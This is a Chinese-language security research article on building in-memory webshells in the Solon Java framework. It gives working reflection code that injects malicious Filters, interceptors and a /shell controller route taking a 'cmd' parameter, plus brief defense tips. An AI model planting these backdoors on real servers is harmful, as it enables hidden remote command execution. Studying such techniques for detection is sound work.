Solon内存马构造
字数 954 2025-08-22 12:23:19
Solon框架内存马构造技术分析
1. Solon框架简介
Solon是一个Java应用开发框架,类似Spring Boot,号称"纯血国产"应用开发框架,具有克制、高效、开放、生态等特点。
官网地址: https://solon.noear.org
2. Solon请求处理流程
Solon的Web请求处理会经过四个主要阶段:
- 过滤器(Filter)
- 路由拦截器(RouterInterceptor)
- 处理器(Handler)
- 拦截器(Interceptor)
3. 内存马构造方法
3.1 Filter内存马构造
3.1.1 基本原理
通过获取内存中的ChainManager对象,调用其addFilter方法动态添加恶意Filter。
3.1.2 实现步骤
- 创建恶意Filter类:
public class EvilFilter implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println("this is a evilfilter!");
chain.doFilter(ctx);
}
}
- 获取ChainManager对象:
// 使用java-object-searcher搜索ChainManager
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("C:\\Users\\XXX\\Desktop\\demo");
searcher.searchObject();
- 通过反射获取并添加Filter:
@Mapping("/addfiltermemshell")
public String addFiltermemshell() throws Exception {
Context context = Context.current();
// 通过反射获取ChainManager
Class<?> superclass = context.getClass().getSuperclass().getSuperclass();
Field attrMap = superclass.getDeclaredField("attrMap");
attrMap.setAccessible(true);
Map o = (Map) attrMap.get(context);
Object actiondefault = o.get("ATTR_MAIN_HANDLER");
Class<?> aClass = actiondefault.getClass();
Field bWrap = aClass.getDeclaredField("bWrap");
bWrap.setAccessible(true);
Object o1 = bWrap.get(actiondefault);
Class<?> aClass1 = o1.getClass();
Field context1 = aClass1.getDeclaredField("context");
context1.setAccessible(true);
Object o2 = context1.get(o1);
Class<?> aClass2 = o2.getClass().getSuperclass();
Field app = aClass2.getDeclaredField("app");
app.setAccessible(true);
Object o3 = app.get(o2);
Class<?> aClass3 = o3.getClass().getSuperclass();
Field chainManager = aClass3.getDeclaredField("_chainManager");
chainManager.setAccessible(true);
ChainManager o4 = (ChainManager) chainManager.get(o3);
// 添加恶意Filter
o4.addFilter(new EvilFilter(), 0);
return "Filtermemshell add successfully!";
}
3.2 其他类型内存马构造
3.2.1 ActionReturnHandler内存马
public class EvilActionReturnHandler implements ActionReturnHandler {
@Override
public boolean matched(Context ctx, Class<?> returnType) {
return true;
}
@Override
public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {
String cmd = ctx.param("cmd");
// 具体恶意逻辑
}
}
3.2.2 ActionExecuteHandler内存马
public class EvilActionExecuteHandler implements ActionExecuteHandler {
@Override
public boolean matched(Context ctx, String mime) {
String cmd = ctx.param("cmd");
// 具体恶意逻辑
// Runtime.getRuntime().exec("cmd")
return false;
}
@Override
public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
return new Object[0];
}
@Override
public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
return null;
}
}
3.2.3 RouterInterceptor内存马
public class EvilRouterInterceptor implements RouterInterceptor {
@Override
public PathRule pathPatterns() {
return new PathRule().include("/cmd");
}
@Override
public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {
String cmd = ctx.param("cmd");
// 具体恶意逻辑
chain.doIntercept(ctx, mainHandler);
}
}
3.3 Controller内存马构造
3.3.1 基本原理
通过获取RouterDefault对象,调用其add方法动态添加恶意路由。
3.3.2 实现步骤
- 创建恶意Controller类:
public class Evil {
public void shell() throws IOException {
Runtime.getRuntime().exec("calc");
// 具体恶意逻辑
}
}
- 获取RouterDefault并添加路由:
@Mapping("/addcontrollermemshell")
public String addcontrollermemshell() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException {
Context context = Context.current();
// 通过反射获取RouterDefault
Class<?> superclass = context.getClass().getSuperclass().getSuperclass();
Field attrMap = superclass.getDeclaredField("attrMap");
attrMap.setAccessible(true);
Map o = (Map) attrMap.get(context);
Object actiondefault = o.get("ATTR_MAIN_HANDLER");
Class<?> aClass = actiondefault.getClass();
Field bWrap = aClass.getDeclaredField("bWrap");
bWrap.setAccessible(true);
Object o1 = bWrap.get(actiondefault);
Class<?> aClass1 = o1.getClass();
Field context1 = aClass1.getDeclaredField("context");
context1.setAccessible(true);
AppContext o2 = (AppContext) context1.get(o1);
Class<?> aClass2 = o2.getClass().getSuperclass();
Field app = aClass2.getDeclaredField("app");
app.setAccessible(true);
Object o3 = app.get(o2);
Class<?> aClass3 = o3.getClass().getSuperclass();
Field chainManager = aClass3.getDeclaredField("_router");
chainManager.setAccessible(true);
RouterDefault o4 = (RouterDefault) chainManager.get(o3);
// 构造并添加恶意路由
BeanWrap beanWrap = new BeanWrap(o2, Evil.class);
Method shell = Evil.class.getDeclaredMethod("shell");
ActionDefault actionDefault = new ActionDefault(beanWrap, shell);
o4.add("/shell", MethodType.ALL, 0, actionDefault);
return "controllermemshell added successfully!";
}
4. 关键点总结
- ChainManager是Filter内存马的关键对象,通过反射获取后可以动态添加Filter
- RouterDefault是Controller内存马的关键对象,存储了所有路由信息
- AppContext是获取各种管理对象的关键入口
- Context.current()可以获取当前请求上下文,是反射链的起点
- 通过java-object-searcher可以搜索内存中的关键对象
5. 防御建议
- 监控动态添加的Filter、Interceptor和Controller
- 限制反射调用权限
- 定期检查内存中的异常组件
- 使用RASP等运行时防护产品
6. 参考链接
- https://xz.aliyun.com/t/15273
- https://solon.noear.org